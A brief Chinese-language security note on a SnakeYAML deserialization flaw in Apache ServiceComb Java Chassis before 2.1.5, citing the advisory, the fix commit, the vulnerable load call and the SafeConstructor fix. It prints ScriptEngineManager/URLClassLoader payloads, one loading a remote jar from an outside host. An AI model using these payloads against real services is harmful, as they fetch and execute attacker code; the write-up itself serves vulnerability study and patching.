刚看到邮件列表里的yaml反序列化漏洞:
https://seclists.org/oss-sec/2021/q1/60
修复的commit还有测试用例都在里面:
https://github.com/apache/servicecomb-java-chassis/commit/839a52e27c754cb5ce14f20063902f21065bd26c
影响版本:
< 2.1.5
又是yaml反序列化:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/"]]]]
或者:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
漏洞点都是:
new org.yaml.snakeyaml.Yaml().load(String payload)
修复方法都是:
new org.yaml.snakeyaml.Yaml(new SafeConstructor()).load(String payload)
感觉最近一段时间听说这种yaml反序列化的越来越多了。可能大家开始往这方便搞了?毕竟yaml经常作为配置文件,载入配置文件就可以RCE。
之前出的[CVE-2020-1947]Apache ShardingSphere UI YAML RCE
也是类似的,只不过它用自己的API包装了一下:
YamlEngine.unmarshal
参考:
- https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#%E5%A4%8D%E7%8E%B0%E5%88%A9%E7%94%A8%EF%BC%88%E5%9F%BA%E4%BA%8EScriptEngineManager%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89
- https://github.com/artsploit/yaml-payload